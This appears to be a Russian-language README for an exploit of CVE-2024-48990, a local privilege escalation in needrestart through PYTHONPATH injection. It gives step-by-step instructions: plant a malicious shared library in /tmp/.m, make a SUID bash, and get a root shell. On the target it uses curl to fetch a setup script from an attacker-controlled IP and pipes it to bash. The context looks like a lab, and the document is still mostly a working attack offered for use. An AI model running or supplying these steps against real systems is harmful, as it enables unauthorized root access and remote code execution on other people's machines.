Эксплойт CVE-2024-48990

Локальное повышение привилегий в needrestart < 3.8 через внедрение PYTHONPATH.

Как это работает

1. needrestart выполняется от root и сканирует все процессы
2. Находит наш процесс Python, читает PYTHONPATH=/tmp/.m из /proc/[pid]/environ
3. Запускает Python от root с нашим вредоносным PYTHONPATH
4. Импорт Python загружает /tmp/.m/importlib/__init__.so (нашу вредоносную библиотеку)
5. Конструктор в .so выполняется от root до того, как Python вообще запустится
6. Создает SUID bash в /tmp/rootbash
7. Выполните /tmp/rootbash -p для получения root-оболочки

Ключевой момент: needrestart доверяет переменным окружения из непривилегированных процессов и использует их при выполнении интерпретаторов от root.

Использование

Атакующий:

./compile.sh
python3 -m http.server 8000

Цель:

curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py

Процесс e.py должен зависнуть и породить root после выполнения следующего из второго терминала:

sudo needsrestard

первый терминал запустит root-оболочку

Авторы

Qualys Threat Research Unit - CVE-2024-48990